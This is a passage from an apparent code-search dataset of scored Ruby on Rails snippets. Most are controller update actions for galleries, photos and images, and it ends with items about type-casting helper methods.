@gallery.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b0fa1d5983f9fc10ae896e696432deff", "score": "0.65666705", "text": "def update\n @gallery = Gallery.find(params[:id])\n\n respond_to do |format|\n if @gallery.update_attributes(params[:gallery])\n flash[:notice] = 'Gallery was successfully updated.'\n format.html { redirect_to(@gallery) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @gallery.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a4e16062552f866e26376df419160863", "score": "0.65628284", "text": "def update\n @gallery = Gallery.find(params[:id])\n \n if @gallery.update_attributes(params[:gallery])\n respond_to do |format|\n format.html { \n flash[:notice] = t('gallery_updated')\n redirect_to edit_admin_gallery_path(@gallery) if params[:continue]\n redirect_to admin_galleries_path unless params[:continue]\n }\n format.js { render :partial => '/admin/galleries/excerpt', :locals => { :excerpt => @gallery } }\n format.xml { redirect_to '/admin/galleries/' + @gallery.id + '.xml' }\n format.json { redirect_to '/admin/galleries/' + @gallery.id + '.json' }\n end\n else\n respond_to do |format|\n format.html { \n flash[:error] = t('gallery_updated_failed')\n render :action => 'edit'\n }\n format.js { render :text => @gallery.errors.to_json, :status => :unprocessable_entity }\n format.xml { render :xml => @gallery.errors.to_xml, :status => :unprocessable_entity }\n format.json { render :json => @gallery.errors.to_json, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "91ca0ef1510faf7fbbb99d1c83305faf", "score": "0.6549854", "text": "def update\n @gallery = Gallery.find_by_permalink(params[:id])\n\n respond_to do |format|\n if @gallery.update_attributes(params[:gallery])\n flash[:notice] = 'Gallery was successfully updated.'\n format.html { redirect_to admin_galleries_url }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @gallery.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0a9f1563eadc0b0a9834162dd30ea891", "score": "0.6542087", "text": "def update\n respond_to do |format|\n if @image.update(image_params)\n format.html { redirect_to '/galleries/' + params[:gallery_id].to_s, notice: 'Image was successfully updated.' }\n format.json { render :show, status: :ok, location: @image }\n else\n format.html { render :edit }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "86db53b0c37ec2b8308042d6141dae41", "score": "0.6539719", "text": "def update\n @gallery = Gallery.find(params[:id])\n\n respond_to do |format|\n if @gallery.update_attributes(params[:gallery])\n flash[:notice] = 'Gallery was successfully updated.'[:gallery_success_updated]\n format.html { redirect_to galleries_url }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @gallery.errors.to_xml }\n end\n end\n end", "title": "" }, { "docid": "19f91250fa83585eb0dda7c29a5a6182", "score": "0.6526872", "text": "def update\n @photo_gallery = PhotoGallery.find(params[:id])\n PhotoGalleriesPhotoItem.delete_all(\"photo_gallery_id = #{@photo_gallery.id}\")\n @photo_gallery.photo_items.push(PhotoItem.where(:id => params[:item_ids]))\n respond_to do |format|\n if @photo_gallery.update_attributes(params[:photo_gallery])\n format.html { redirect_to @photo_gallery, :notice => 'Photo gallery was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @photo_gallery.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "64e5c725540f1628e210493cb68b312c", "score": "0.6518438", "text": "def update\n\n @gallery = Gallery.find(params[:gallery_id])\n\n @singlewide_picture = @gallery.singlewide_pictures.find(params[:id])\n\n respond_to do |format|\n if @singlewide_picture.update_attributes(singlewide_picture_params)\n format.html { redirect_to gallery_path(@gallery), notice: 'Picture was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @singlewide_picture.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "25bedc0e2065040ca49129c6273fc8e5", "score": "0.6504988", "text": "def update\n respond_to do |format|\n if @image_gallery.update(image_gallery_params)\n save_images\n format.html { redirect_to @image_gallery, notice: 'Image gallery was successfully updated.' }\n format.json { render :show, status: :ok, location: @image_gallery }\n else\n format.html { render :edit }\n format.json { render json: @image_gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6f9972a5563f86a9c4011787c7d17f9a", "score": "0.6504333", "text": "def update\n\n respond_to do |format|\n\n if params.has_key?(:images)\n params[:images][:file].each do |a|\n @image = @gallery.images.create!(:file => a, :gallery_id => @gallery.id)\n end\n end\n\n if @gallery.update(gallery_params)\n format.html { redirect_to @gallery, notice: 'Gallery was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5f0b8bb72f265b6b744dfb4dfed0a1ec", "score": "0.6503346", "text": "def update\n @work_gallery = WorkGallery.find(params[:id])\n\n respond_to do |format|\n if @work_gallery.update_attributes(params[:work_gallery])\n format.html { redirect_to @work_gallery, notice: 'Work gallery was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @work_gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "889c050a83e10c6eee82907bdc87aa2e", "score": "0.64988947", "text": "def update\n respond_to do |format|\n if @gallery_pic.update(gallery_pic_params)\n format.html { redirect_to @gallery_pic, notice: 'Gallery pic was successfully updated.' }\n format.json { render :show, status: :ok, location: @gallery_pic }\n else\n format.html { render :edit }\n format.json { render json: @gallery_pic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b6a2c2830787e2393e1b95a80a132978", "score": "0.6497132", "text": "def update\n @gallery_attrib = GalleryAttrib.find(params[:id])\n\n respond_to do |format|\n if @gallery_attrib.update_attributes(params[:gallery_attrib])\n format.html { redirect_to @gallery_attrib, notice: 'Gallery attrib was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gallery_attrib.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "76fccf5858dc5611379672bb93a1669f", "score": "0.6494492", "text": "def update\n\n @gallery = Gallery.find(params[:gallery_id])\n\n @image = @gallery.images.find(params[:id])\n\n respond_to do |format|\n if @image.update_attributes(image_params)\n format.html { redirect_to admin_gallery_path(@gallery), notice: 'Picture was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6d06ffe0daa35c0b526892e770006f2d", "score": "0.6491129", "text": "def update\n respond_to do |format|\n if @event_gallery.update(gallery_params)\n format.html { redirect_to admin_galleries_path, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event_gallery }\n else\n format.html { render :edit }\n format.json { render json: @event_gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "65847a4a1ff814ccfb52a020d7363c01", "score": "0.64773804", "text": "def update\n @livro = Livro.find(params[:id])\n save_photos_ids @livro.id\n\n respond_to do |format|\n if @livro.update_attributes(params[:livro])\n format.html { redirect_to @livro, notice: 'Livro was successfully updated.' }\n format.json { head :no_content }\n else\n @photos = @livro.photos\n flash[:error] = @livro.errors.full_messages\n format.html { render action: \"new\"}\n format.json { render json: @livro.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6b4c166f13426ec51ad53434c24be5a6", "score": "0.64744115", "text": "def update\n\t\trespond_to do |format|\n\t\t\tif @admin_gallery.update(admin_gallery_params)\n\t\t\t\tunless params[:admin_gallery][:photo].blank?\n\t\t\t\t\tloaded = Cloudinary::Uploader.destroy(\"galleries/#{@admin_gallery.id}\", :public_id => \"galleries/#{@admin_gallery.id}\", :invalidate => true)\n\t\t\t\t\tpreloaded = Cloudinary::Uploader.upload(params[:admin_gallery][:photo], :use_filename => true, :public_id => \"galleries/#{@admin_gallery.id}\")\n\t\t\t\tend\n\t\t\t\tformat.html { redirect_to @admin_gallery, notice: 'Gallery was successfully updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'edit' }\n\t\t\t\tformat.json { render json: @admin_gallery.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "892129618f28e9ea299349df3c2d1930", "score": "0.6473371", "text": "def update\n respond_to do |format|\n if @gallery.update(gallery_params)\n format.html { redirect_to admin_content_path, notice: 'Gallery was successfully updated.' }\n else\n format.html { render action: 'edit' }\n end\n end\n end", "title": "" }, { "docid": "364096fc9ab4b70e28df5b926882c77c", "score": "0.6471031", "text": "def update\n respond_to do |format|\n if @galery_photo.update(galery_photo_params)\n format.html { redirect_to @galery_photo, notice: 'Galery photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @galery_photo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eb873283a15c5be8ab932d249c9cee2d", "score": "0.6464613", "text": "def update\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n flash[:success] = \"Photo has been updated.\"\n format.html { redirect_to @gallery }\n format.json { head :no_content }\n else\n flash[:error] = \"Photo has not been updated.\"\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "34b4c76080723629aaed1953f1776b52", "score": "0.645067", "text": "def update\n @gallery = Gallery.find(params[:id])\n\n respond_to do |format|\n if @gallery.update_attributes(gallery_param)\n format.html { redirect_to([:admin, @gallery], :notice => 'Gallery was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @gallery.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6c5e17c8646e9ea5cb8620b0db17348b", "score": "0.6445295", "text": "def update\n @gallery = Gallery.find(params[:id])\n\n respond_to do |format|\n if @gallery.update_attributes(params[:gallery])\n flash[:notice] = t(:gallery_updated)\n format.html { redirect_back_or_default(admin_gallery_path(@gallery)) }\n format.xml { head :ok }\n else\n format.html { render :action => 'edit' }\n format.xml { render :xml => @gallery.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5b5358d5d12e02574786783467222faa", "score": "0.6438181", "text": "def update\n respond_to do |format|\n if @gallery_image.update(gallery_image_params)\n format.html { redirect_to @gallery_image, notice: 'Gallery image was successfully updated.' }\n format.json { render :show, status: :ok, location: @gallery_image }\n else\n format.html { render :edit }\n format.json { render json: @gallery_image.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0d832fa59fc33fbe67ff777244cfabd3", "score": "0.64352626", "text": "def update\n @gallery_image = GalleryImage.find(params[:id])\n @tag_groups = TagGroup.order('title')\n\n respond_to do |format|\n if @gallery_image.update_attributes(params[:gallery_image])\n format.html { redirect_to gallery_images_url,\n notice: 'Gallery image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gallery_image.errors,\n status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "56667d86f2299f14181f60bf797b81cd", "score": "0.64274925", "text": "def update\n respond_to do |format|\n if @adventure.update(adventure_params)\n @adventure = multiple_photos(@adventure)\n\n format.html { redirect_to @adventure, notice: 'Adventure was successfully updated.' }\n format.json { render :show, status: :ok, location: @adventure }\n else\n format.html { render :edit }\n format.json { render json: @adventure.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "11cf0c6f0ed93e1ec6c8178a58fef825", "score": "0.64176035", "text": "def update\n respond_to do |format|\n if @charger_gallery.update(charger_gallery_params)\n format.html { redirect_to @charger_gallery, notice: 'Charger gallery was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @charger_gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "027e4abe044e925e1676dafc9b2f6b97", "score": "0.6414439", "text": "def update\n parms = skate_params\n parms[:color] = parms[:color].split(', ') if parms[:color]\n respond_to do |format|\n if @skate.update(parms)\n if params[:images]\n @skate.gallery ||= Gallery.new\n params[:images].each do |image|\n @skate.gallery.images.create(image: image)\n end\n unless @skate.image_file_size\n @skate.update(image: @skate.gallery.images.first.image)\n end\n end\n format.html { redirect_to @skate, notice: 'Skate was successfully updated.' }\n format.json { render :show, status: :ok, location: @skate }\n else\n format.html { render :edit }\n format.json { render json: @skate.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2ee8b53abfcb1eeec36035d681c3cbb2", "score": "0.64070314", "text": "def update\n\n respond_to do |format|\n if @gallery.update(title: params[:title])\n format.js { render :update}\n else\n format.js { render :update_error }\n end\n end\n end", "title": "" }, { "docid": "2d4241219cf02ae50311f7b31212d1b4", "score": "0.63877714", "text": "def update\n respond_to do |format|\n if @video_gallery.update(video_gallery_params)\n format.html { redirect_to @video_gallery, notice: 'Video gallery was successfully updated.' }\n format.json { render :show, status: :ok, location: @video_gallery }\n else\n format.html { render :edit }\n format.json { render json: @video_gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f96609e6bf9b73580d216a12fc18c336", "score": "0.63823146", "text": "def set_flashlight_gallery\n @flashlight_gallery = FlashlightGallery.find(params[:id])\n end", "title": "" }, { "docid": "6af94b3e797c4135d5a4bb3b5ed4203e", "score": "0.63808393", "text": "def update\n @bride_gallery = Bridegallery.find(params[:id])\n\n respond_to do |format|\n if @bride_gallery.update_attributes(params[:bride_gallery])\n format.html { redirect_to @bride_gallery, notice: 'Galerie byla úspěšně aktualizováná.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bride_gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1173744910bb4f035b2db37c597d66da", "score": "0.6377037", "text": "def update\n @gallery = Gallery.find(params[:id])\n @foto = Foto.new\n respond_to do |format|\n if @gallery.update_attributes(params[:gallery])\n\n Foto.where(:gallery_id=>nil).each do |tbd|\n tbd.destroy\n end\n format.html { redirect_to @gallery, notice: 'Gallery was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4bb292f26c14821e43f015e5a2d84ef9", "score": "0.6369088", "text": "def update\n @spree_gallery = Spree::Gallery.find(params[:id])\n\n respond_to do |format|\n if @spree_gallery.update_attributes(params[:gallery])\n format.html { redirect_to admin_gallery_path(@spree_gallery), :notice => 'Gallery was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @spree_gallery.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a4d07f0d81d8ce96a8279f8079d8a0aa", "score": "0.6352096", "text": "def update\n respond_to do |format|\n if @gallery.update_attributes(params[:gallery])\n format.html { redirect_to(user_gallery_path(@user,@gallery), :notice => 'Gallery was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @gallery.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "811ab7acf6952e7cf780292f46c63fff", "score": "0.6340239", "text": "def update\n @gallery = Gallery.find(params[:id])\n @page = Page.find(params[:page_id])\n respond_to do |format|\n if @gallery.update_attributes(params[:gallery])\n flash[:notice] = 'Gallery was successfully updated.'\n format.html { redirect_to admin_page_galleries_path(params[:page_id]) }\n format.xml { head :ok }\n format.json { render :json => { :result => 'success', :photo => admin_gallery_path(@gallery) } }\n format.js\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @gallery.errors, :status => :unprocessable_entity }\n format.json { render :json => { :result => 'error', :error => @asset.errors.full_messages.to_sentence } }\n format.js\n end\n end\n end", "title": "" }, { "docid": "ac73a60700301079279e5a4b7a261051", "score": "0.63388085", "text": "def update\n respond_to do |format|\n if @gallery_item.update(gallery_item_params)\n format.html { redirect_to request.referrer, notice: 'Gallery item was successfully updated.' }\n format.json { render :show, status: :ok, location: @gallery_item }\n else\n format.html { render :edit }\n format.json { render json: @gallery_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1c752ebcd2c085d11f9f325b0450ef72", "score": "0.6335338", "text": "def update\n\n @story = Story.find(params[:story_id])\n\n @picture = @story.pictures.find(params[:id])\n\n respond_to do |f|\n if @picture.update_attributes(picture_params)\n f.html { redirect_to gallery_path(@story) }\n f.json { head :no_content }\n else\n f.html { render action: \"edit\" }\n f.json { render json: @picture.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9be12661cbbe27a011c605152c1dd0d6", "score": "0.63337815", "text": "def update\n @album = Album.find(params[:id])\n\n respond_to do |format|\n if @album.update_attributes(params[:album])\n @albums = @gallery.albums.all\n format.html { redirect_back_or album_path(@album) }\n format.json { render json: @album }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "977ec6fe3ffc694016c0cfed235aef65", "score": "0.63320154", "text": "def update\n gp = gallery_params\n respond_to do |format|\n if @gallery.update(gp.except(:private_key))\n @gallery.update_private_key(gp[:private_key])\n @gallery.save\n format.html { redirect_to @gallery, notice: 'gallery was successfully updated.' }\n format.json { render :show, status: :ok, location: @gallery }\n else\n format.html { render :edit }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cea2b091fd0d7f4ed9ede0dd80e2cf40", "score": "0.63188213", "text": "def update\n \n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n \n if @photo.update_attributes(params[:photo])\n \n format.html { redirect_to user_gallery_path(current_user,@gallery), notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n \n else\n \n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n \n end\n \n end\n \n end", "title": "" }, { "docid": "1215521128b42ef788e8b3b7bee505a2", "score": "0.63180065", "text": "def update\n @web_car_gallery = WebCarGallery.find(params[:id])\n\n if @web_car_gallery.update(web_car_gallery_params)\n @web_car_gallery.update(image_url: params[:web_car_gallery][:image_url])\n @web_car_gallery.update(diff_int_ext: params[:web_car_gallery][:diff_int_ext])\n head :no_content\n else\n render json: @web_car_gallery.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "a7c04fbc7ef0f31cd7b42e2da1149d2c", "score": "0.6316474", "text": "def update\n @admin_gallery_item = Admin::GalleryItem.find(params[:id])\n\n respond_to do |format|\n if @admin_gallery_item.update_attributes(params[:admin_gallery_item])\n format.html { redirect_to admin_gallery_items_path, notice: 'Gallery item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_gallery_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1097bec394853312f2cf7018fa59b2a7", "score": "0.63090575", "text": "def update\n respond_to do |format|\n if @fuselage.update(fuselage_params)\n format.html { redirect_to @fuselage, notice: 'Fuselage was successfully updated.' }\n format.json { render :show, status: :ok, location: @fuselage }\n else\n format.html { render :edit }\n format.json { render json: @fuselage.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1672475d7ba8467055df2694ed66ed78", "score": "0.630173", "text": "def update\n render json: Image.update(params[\"id\"], params[\"image\"])\n end", "title": "" }, { "docid": "7a0bca53d95aad7aa9c6f27b338aeb8b", "score": "0.6298368", "text": "def update\n parms = snowroll_params\n parms[:frame_color] = parms[:frame_color].split(', ') if parms[:frame_color]\n respond_to do |format|\n if @snowroll.update(snowroll_params)\n if params[:images]\n @snowroll.gallery ||= Gallery.new\n params[:images].each do |image|\n @snowroll.gallery.images.create(image: image)\n end\n unless @snowroll.image_file_size\n @snowroll.update(image: @snowroll.gallery.images.first.image)\n end\n end\n format.html { redirect_to @snowroll, notice: 'Snowroll was successfully updated.' }\n format.json { render :show, status: :ok, location: @snowroll }\n else\n format.html { render :edit }\n format.json { render json: @snowroll.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "16a2c90050ac1e331ee9bcac7cc389b6", "score": "0.6289798", "text": "def update\n parms = sled_params\n parms[:color] = parms[:color].split(', ') if parms[:color]\n respond_to do |format|\n if @sled.update(parms)\n if params[:images]\n @sled.gallery ||= Gallery.new\n params[:images].each do |image|\n @sled.gallery.images.create(image: image)\n end\n unless @sled.image_file_size\n @sled.update(image: @sled.gallery.images.first.image)\n end\n end\n format.html { redirect_to @sled, notice: 'Sled was successfully updated.' }\n format.json { render :show, status: :ok, location: @sled }\n else\n format.html { render :edit }\n format.json { render json: @sled.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f05a09b5838f4d1a176a7bdbcd272358", "score": "0.6275052", "text": "def update\n respond_to do |format|\n if @home_gallery.update(home_gallery_params)\n format.html { redirect_to @home_gallery, notice: 'Home gallery was successfully updated.' }\n format.json { render :show, status: :ok, location: @home_gallery }\n else\n format.html { render :edit }\n format.json { render json: @home_gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5fe5e696325d220e07783015678cf05f", "score": "0.62690234", "text": "def update\n respond_to do |format|\n if @planter_gallery.update(planter_gallery_params)\n format.html { redirect_to @planter_gallery.planter , notice: 'Planter gallery was successfully updated.' }\n format.json { render :show, status: :ok, location: @planter_gallery }\n else\n format.html { render :edit }\n format.json { render json: @planter_gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "de9c7c6f0ff409374a00dee10f58d4fe", "score": "0.6268172", "text": "def update\n @photographer = Photographer.find(params[:id])\n\n if @photographer.update(photographer_params)\n head :no_content\n else\n render json: @photographer.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "35b5fd4b3e3d27fb06751c3d8c45f9e1", "score": "0.626195", "text": "def update\n respond_to do |wants|\n if @gallery.update_attributes(params[:gallery])\n flash[:notice] = 'Страница сохранена.'\n wants.html { redirect_to(admin_gallerys_url) }\n wants.xml { head :ok }\n else\n wants.html { render :action => \"edit\" }\n wants.xml { render :xml => @gallery.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5c4378985abadb29e6091bd9411925ff", "score": "0.6261064", "text": "def update\n @bilder = Bilder.find(params[:id])\n\n respond_to do |format|\n if @bilder.update_attributes(params[:bilder])\n format.html { redirect_to @bilder, notice: 'Bilder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bilder.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aa255e8a4c9e6411af43253ee0a5474d", "score": "0.6251172", "text": "def update\n @gallery_photo = GalleryPhoto.find(params[:id])\n\n respond_to do |format|\n if @gallery_photo.update_attributes(params[:gallery_photo])\n flash[:notice] = 'Photo was successfully updated.'\n format.html { redirect_to(@gallery_photo) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @gallery_photo.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "19689f045043bea2dd88fa2c664279ba", "score": "0.6242673", "text": "def update\n respond_to do |format|\n if @galery.update(galery_params)\n format.html { redirect_to @galery, notice: 'Galery was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @galery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "65415adefa5e2ff638656817c37abd30", "score": "0.6241609", "text": "def update\n @picture = Picture.find(params[:id])\n\n respond_to do |format|\n if @picture.update_attributes(params[:picture])\n flash[:notice] = 'Pictures was successfully updated.'\n format.html { redirect_to(:controller => 'galleries', :action => 'edit', :id => @picture.gallery_id) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @picture.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2a17212ba9e0ecddd548f402a8c399c2", "score": "0.6239662", "text": "def update\n respond_to do |format|\n if @picture.update(picture_params)\n format.html { redirect_to gallery_pictures_path(@gallery), notice: 'Picture was successfully updated.' }\n format.json { render :show, status: :ok, location: @picture }\n else\n format.html { render :edit }\n format.json { render json: @picture.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c39b88a3258b6ead43b04467ea3f8c42", "score": "0.6218575", "text": "def update\n respond_to do |format|\n if @flickr_photo.update(flickr_photo_params)\n format.html { redirect_to @flickr_photo, notice: 'Flickr photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @flickr_photo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
14dcbf23b12bf0327d00167298b366f0
Convenience method for types which do not need separate type casting behavior for user and database inputs. Called by Valuecast for values except +nil+.
[ { "docid": "c208d4183050264474646300f82a9fca", "score": "0.6522019", "text": "def cast_value(value) # :doc:\n value\n end", "title": "" } ]
[ { "docid": "d749569c088721d2adc0df6707b7d196", "score": "0.78331035", "text": "def value_before_type_cast; end", "title": "" }, { "docid": "d749569c088721d2adc0df6707b7d196", "score": "0.78331035", "text": "def value_before_type_cast; end", "title": "" }, { "docid": "d749569c088721d2adc0df6707b7d196", "score": "0.78331035", "text": "def value_before_type_cast; end", "title": "" }, { "docid": "b4d0567e99e2fda14d6a21023dee27e5", "score": "0.7765225", "text": "def type_cast(value); end", "title": "" }, { "docid": "b1d87e1c86f6a2bed2994f3e1432e137", "score": "0.7664012", "text": "def typecast(value); end", "title": "" }, { "docid": "b1d87e1c86f6a2bed2994f3e1432e137", "score": "0.7664012", "text": "def typecast(value); end", "title": "" }, { "docid": "db62761880ce209b7adf82f16eef61e8", "score": "0.76181424", "text": "def casted_value\n nil\n end", "title": "" }, { "docid": "db62761880ce209b7adf82f16eef61e8", "score": "0.76181424", "text": "def casted_value\n nil\n end", "title": "" }, { "docid": "f1808e88dcce4806d2e356497fe0abdc", "score": "0.7475274", "text": "def typecast(value)\n if value.nil? || primitive?(value)\n value\n elsif respond_to?(:typecast_to_primitive)\n typecast_to_primitive(value)\n end\n end", "title": "" }, { "docid": "cdcfb769cc832f4857cb761e93537140", "score": "0.74340296", "text": "def cast_value(value); end", "title": "" }, { "docid": "cdcfb769cc832f4857cb761e93537140", "score": "0.74340296", "text": "def cast_value(value); end", "title": "" }, { "docid": "ed66d0297ac90fabb48fdfd0ca2c4610", "score": "0.7409092", "text": "def cast(value); end", "title": "" }, { "docid": "ed66d0297ac90fabb48fdfd0ca2c4610", "score": "0.7409092", "text": "def cast(value); end", "title": "" }, { "docid": "ed66d0297ac90fabb48fdfd0ca2c4610", "score": "0.7409092", "text": "def cast(value); end", "title": "" }, { "docid": "e1b9f13216aab4bf1245547a807a7471", "score": "0.7322173", "text": "def cast_value(value)\n return if value.blank?\n\n case value\n when String, Symbol then cast_symbol_value(value.to_sym)\n when Integer then cast_integer_value(value)\n else\n raise StoreModel::Types::CastError,\n \"failed casting #{value.inspect}, only String, Symbol or \" \\\n \"Integer instances are allowed\"\n end\n end", "title": "" }, { "docid": "931eef717a90024a80c6ddbfee931bcd", "score": "0.73197705", "text": "def cast(value)\n cast_value(value) unless value.nil?\n end", "title": "" }, { "docid": "ac23660a91722a22d2a097ce2bf9e558", "score": "0.7314494", "text": "def value\n typecast.present? ? typecasted_value : super\n end", "title": "" }, { "docid": "ac23660a91722a22d2a097ce2bf9e558", "score": "0.7314494", "text": "def value\n typecast.present? ? typecasted_value : super\n end", "title": "" }, { "docid": "13ac7088361a7851fe35987bf254ad9c", "score": "0.7283503", "text": "def typecasted_value\n typecaster.present? ? typecaster.typecast(untypecasted_value) : untypecasted_value\n end", "title": "" }, { "docid": "13ac7088361a7851fe35987bf254ad9c", "score": "0.7283503", "text": "def typecasted_value\n typecaster.present? ? typecaster.typecast(untypecasted_value) : untypecasted_value\n end", "title": "" }, { "docid": "8fd9d68eb2c23ca7030a80b494ad021b", "score": "0.7275614", "text": "def cast_value(_value)\n raise NotImplementedError\n end", "title": "" }, { "docid": "d01456b3e3c89fba616b07291328de69", "score": "0.7258903", "text": "def __cast(val)\n val\n end", "title": "" }, { "docid": "bdb5e59de52a7ebe0721ae461a716879", "score": "0.7241405", "text": "def cast_type; end", "title": "" }, { "docid": "2d88a05bd3a81c0d30d9615ba3fa9840", "score": "0.7217109", "text": "def type_cast(value, column = nil)\n super\n end", "title": "" }, { "docid": "6c06cdc689c9ea024e608d39921386a2", "score": "0.72059435", "text": "def type_cast(value)\n\t\treturn nil if value.nil?\n\t\tcase type\n\t\t\twhen :uuid\t\t\tthen self.class.string_to_uuid(value)\n\t\t\twhen :uuid_pkey\tthen self.class.string_to_uuid(value)\t\n\t\t\twhen :string then value\n\t\t\twhen :text then value\n\t\t\twhen :integer then value.to_i rescue value ? 1 : 0\n\t\t\twhen :float then value.to_f\n\t\t\twhen :decimal then self.class.value_to_decimal(value)\n\t\t\twhen :datetime then self.class.string_to_time(value)\n\t\t\twhen :timestamp then self.class.string_to_time(value)\n\t\t\twhen :time then self.class.string_to_dummy_time(value)\n\t\t\twhen :date then self.class.string_to_date(value)\n\t\t\twhen :binary then self.class.binary_to_string(value)\n\t\t\twhen :boolean then self.class.value_to_boolean(value)\n\t\t\telse value\n\t\tend\n\tend", "title": "" }, { "docid": "6f584e98053905d9a94f6d6e48ac4cb4", "score": "0.7188813", "text": "def typecast(value)\n value\n end", "title": "" }, { "docid": "ea810414b615fa7e2d17250583b942ab", "score": "0.71538967", "text": "def _explicitly_type_cast(value, type, column_class)\n return nil if value.nil?\n\n return type.call(value) if type.respond_to?(:call)\n\n typecasted = case type\n when :string then value.to_s\n when :text then 